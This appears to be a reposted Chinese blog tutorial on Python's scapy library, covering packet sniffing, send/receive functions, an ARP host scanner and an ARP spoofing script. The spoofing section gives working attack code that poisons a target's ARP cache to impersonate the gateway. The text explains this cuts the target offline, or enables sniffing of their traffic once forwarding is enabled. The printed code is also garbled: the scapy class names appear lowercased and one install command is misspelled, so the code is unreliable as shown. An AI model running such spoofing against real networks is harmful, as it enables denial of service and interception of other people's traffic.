欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

python scapy的用法之ARP主机扫描和ARP欺骗

程序员文章站 2022-10-18 12:06:42
python scapy的用法之ARP主机扫描和ARP欺骗 目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一、scapy介绍 scapy是一个可用于网络嗅探的非常强大的第三方库。 具有以下几个特点: 1.交互模式,用作第三方库。 2.可以用开 ......

python scapy的用法之arp主机扫描和arp欺骗

 目录:

1.scapy介绍

2.安装scapy

3.scapy常用

4.arp主机扫描

5.arp欺骗

一、scapy介绍

scapy是一个可用于网络嗅探的非常强大的第三方库。

具有以下几个特点:

  1.交互模式,用作第三方库。

  2.可以用开做packet嗅探和伪造packet

  3.已经再内部实现了大量的网络协议。(dns,arp,ip,tcp,udp等等),可以用它来编写非常灵活实用的工具。

二、安装

pip intall scapy

pip install ipython(运行命令行方式需要)

注意:windows下安装scapy需要安装winpcap或者npcap(用于抓取网卡的数据),如果电脑安装果wireshark或者nmap就不用安装winpcap或者npcap。

winpcap官方下载地址:https://www.winpcap.org/install/default.htm

npcap官方下载地址:https://nmap.org/npcap/

测试scapy是否安装好以及能否抓取网卡(不能抓取网卡的话,请检查winpcap或者npcap是否安装成功)  python scapy的用法之ARP主机扫描和ARP欺骗

三、scapy常用

1.嗅探流量包

sniff函数进行嗅探流量,iface表示使用的网卡接口,filter是过滤条件,count是嗅探包的个数。结果显示嗅探到了3个arp包。可以输入pkts[i]查看包的具体内容。sniff别的参数可以查看帮助文档:help(sniff)  python scapy的用法之ARP主机扫描和ARP欺骗

2.将嗅探到的包内容写到pcap文件和读取pcap文件。

wrpcap写,rdpcap读  python scapy的用法之ARP主机扫描和ARP欺骗

3.收发数据包

3.1、send(),在第三层发送数据包,但没有接收功能。其他参数可以查看帮助:help(send)

 fuzz函数的作用:可以更改一些默认的不被计算的值(比如校验和checksums),更改的值是随机的,但是是符合字段的值的。 python scapy的用法之ARP主机扫描和ARP欺骗

3.2、sendp(),在第二层发送数据包,但没有接收功能。"(1,4)"小括号是范围代表1到4,第二个例子:发送4个包,ttl的值是1到4 python scapy的用法之ARP主机扫描和ARP欺骗

3.3、sr(),在第三层发送数据包,有接收功能

srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。

ans中有请求有响应,unans只有请求没有响应

下图可以看到ans[0]查看的数据是以元组的形式,利用下图的示例可以对特定主机的特定端口进行tcp扫描。python scapy的用法之ARP主机扫描和ARP欺骗

3.4、sr1(),在第三层发送数据包,有接收功能,但只接收第一个数据包。用于哪些判断和目标是否通,接收一个数据包就能判断,没必要接收多个。

下图可以看到,发送20个包,收到3个包,但只变量m存储一个包。  python scapy的用法之ARP主机扫描和ARP欺骗

3.5、srloop(),在第三层连续发送数据包,有接收功能,且连续接收数据包。

3.6、srp()、srp1()、srploop()工作在第二层,具体用法可以查看帮助。

 四、arp主机扫描

1.使用scapy写一个arp主机扫描脚本  

#局域网主机扫描器  使用arp扫描
#主机扫描
from scapy.all import *
import time
wifi="intel(r) dual band wireless-ac 3165"
#构造数据包   ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
p=ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/arp(pdst="192.168.43.0/24")
#数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
#ans中有请求有响应,unans只有请求没有响应
ans,unans=srp(p,iface=wifi,timeout=2)
print("一共扫描到了%d个主机"%len(ans))
result=[]
#ans是元组的形式,可以测试ans[0],发现结果是元组的形式
for s,r in ans:
    result.append([r[arp].psrc,r[arp].hwsrc])   #把目标的ip以及mac地址加入到新的列表

result.sort()   #对列表进行排序
#遍历列表,打印ip以及对应的mac地址
for ip,mac in result:
    print(ip,"--->",mac)

2.扫描结果如下: python scapy的用法之ARP主机扫描和ARP欺骗

3.上面的脚本把要扫描的主机直接写死了,这里也可以使用sys模块接收命令行传递的参数。 

#局域网主机扫描器  使用arp扫描
#主机扫描,主机不是写死的,接收命令行传递的参数。
from scapy.all import *
import time
wifi="intel(r) dual band wireless-ac 3165"
#构造数据包   ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
ip=sys.argv[1]
p=ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/arp(pdst=ip)
#数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
#ans中有请求有响应,unans只有请求没有响应
ans,unans=srp(p,iface=wifi,timeout=2)
print("一共扫描到了%d个主机"%len(ans))
result=[]
#ans是元组的形式,可以测试ans[0],发现结果是元组的形式
for s,r in ans:
    result.append([r[arp].psrc,r[arp].hwsrc])   #把目标的ip以及mac地址加入到新的列表

result.sort()   #对列表进行排序
#遍历列表,打印ip以及对应的mac地址
for ip,mac in result:
    print(ip,"--->",mac)

4.运行效果如下: python scapy的用法之ARP主机扫描和ARP欺骗

五、arp欺骗

arp欺骗就是攻击者一直发包告诉被攻击者(目标)自己(攻击者)是网卡,欺骗目标的数据经过自己,以实现造成目标不能上网或者对目标数据进行监听的目的。

1.首先查看目标的arp缓存,可以看到目标原来的网关ip以及对应的mac地址

  python scapy的用法之ARP主机扫描和ARP欺骗

 2.开始arp欺骗  

#arp欺骗
from scapy.all import *
import time
#构造包
#pdst是目标ip,psrc是网关的ip
p1=ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/arp(pdst="192.168.43.250",psrc="192.168.43.1")
for i in range(6000):
    sendp(p1)
    time.sleep(0.1)

3.运行脚本,可以看到脚本一直发包,这时再看目标的arp缓存,可以看到网关的mac地址变成攻击者的mac了(说明目标把攻击者当成了网关,arp欺骗成功)

  python scapy的用法之ARP主机扫描和ARP欺骗

4.arp欺骗之后,由于攻击者不是真正的网关,无法转发数据(默认情况下),导致目标不能上网,这就实现了目标的断网攻击了。

5.那么能不能让目标能上网,只对目标进行流量的嗅探呢,答案是有的,需要开启攻击者的路由转发功能,把目标的数据转发出去。 python scapy的用法之ARP主机扫描和ARP欺骗

6.查看是否开启ip路由转发功能  python scapy的用法之ARP主机扫描和ARP欺骗